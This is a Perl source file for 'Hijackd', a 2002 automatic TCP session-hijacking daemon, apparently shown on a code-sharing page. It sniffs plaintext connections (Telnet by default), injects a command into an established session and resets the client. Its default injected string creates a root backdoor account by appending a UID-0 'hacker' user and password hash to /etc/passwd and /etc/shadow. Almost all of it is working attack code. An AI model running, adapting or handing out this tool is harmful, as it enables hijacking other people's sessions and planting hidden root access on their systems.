📄 hijackd.pl
字号:
#!/usr/bin/perl## Hijackd - Automatic Hijacking Daemon for plain protocols# Version 0.2## Programmed by Bastian Ballmann [ bytebeater@crazydj.de ]# http://www.crazydj.de## Last Update: 28.11.2002###[ Loading modules ]###use path::hijack; # Hijacking Stuffuse path::config; # Configuration Stuffuse Getopt::Std; # Parsing parameteruse Net::PcapUtils; # Packet capturing# Are you r00t?if($> != 0){ die "You need EUID 0!\n";}# Need help?if($ARGV[0] eq "--help"){ die "Usage: $0 -h [host(s)] -p [port(s)] -c <connection> -i <device> -s <infiltrade-string>\n\n";}# Starte die GUI versionif($ARGV[0] eq "--gui"){ require "hijackd-gui.pl";}else{# Parsing parametergetopts('h:c:p:i:',\%args);&start(%args);}###[ Subroutines ]#### Start the hijackdsub start{# Achtung a bissel Werbungabout();# Create config object$cfg = config->new();$cfg->check(%args);# Wurde kein String zum infiltrieren angegeben?if($args{'s'} eq ""){ # Dann versuche den User hacker mit Passwort hacker anzulegen $args{'s'} = "echo 'hacker:x:0:0::/:/bin/sh' >> /etc/passwd && echo 'hacker:\$1\$u70t2mzi\$v8VeFsr3uFwbl772vjb/a0:12019:0:99999:7:::' >> /etc/shadow\n";}# Wurde kein Port angegeben?# Dann wird per default 23 verwendetif($args{p} eq ""){ print "You have not specified a port. I will use 23 per default...\n"; $cfg->set_port(23);}# Man bastelt sich ne pcap expression$pcap = $cfg->pcap();if($pcap ne ""){ $pcap .= "and tcp";}else{ $pcap = "tcp";}print "Start sniffin $pcap on " . $cfg->get_device . "\n\n";# Start sniffinNet::PcapUtils::loop(\&check, PROMISC => 1, FILTER => $pcap, DEV => $cfg->get_device);}# Check if the connection should be hijackedsub check{ my($arg,$header,$packet) = @_; my $flag = 0;# Existiert schon ein connection objekt? unless(defined $connection) { $connection = hijack->new($packet); }# Wurde die Connection schon gehijackt?# Dann lass sie in Ruhe... if($connection->hijacked($packet)) { return; }# Gehoert das Paket zu "unserer" Verbindung? unless($connection->check($packet)) { return; }# Hat der TCP Handshake schon statt gefunden? if($connection->is_established) { if($cfg->multiport) { # Interessiert uns der Source Port? for(@{$cfg->get_ports}) { hijack($packet,$_) } } else { hijack($packet,$cfg->get_port); } }}# Hijacke die Verbindungsub hijack{ my $packet = shift; my $port = shift; # Kommt das Paket vom Server? if($connection->check_port($packet,$port,0)) { # Dem Modul bekannt geben, dass dieses Paket vom Server kommt $connection->stateful($packet,"server"); # Ist die Client Sequence und Acknowledgement Nummer schon bekannt? if($connection->server_seq) { # Hijacke die Verbindung! $connection->infiltrate($args{'s'}); $connection->is_hijacked($packet); # Resette die Verbindug des Clients, um einen ACK Storm zu vermeiden $connection->reset('rst','client'); } } # Das Packet kommt vom Client elsif($connection->check_port($packet,0,$port)) { $connection->stateful($packet,"client"); }}# About this toolsub about{ print "Hijackd -- Automatic hijacking daemon for plain protocols\n"; print "Version 0.2\n"; print "Programmed by Bastian Ballmann [ bytebeater\@crazydj.de ]\n\n";}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -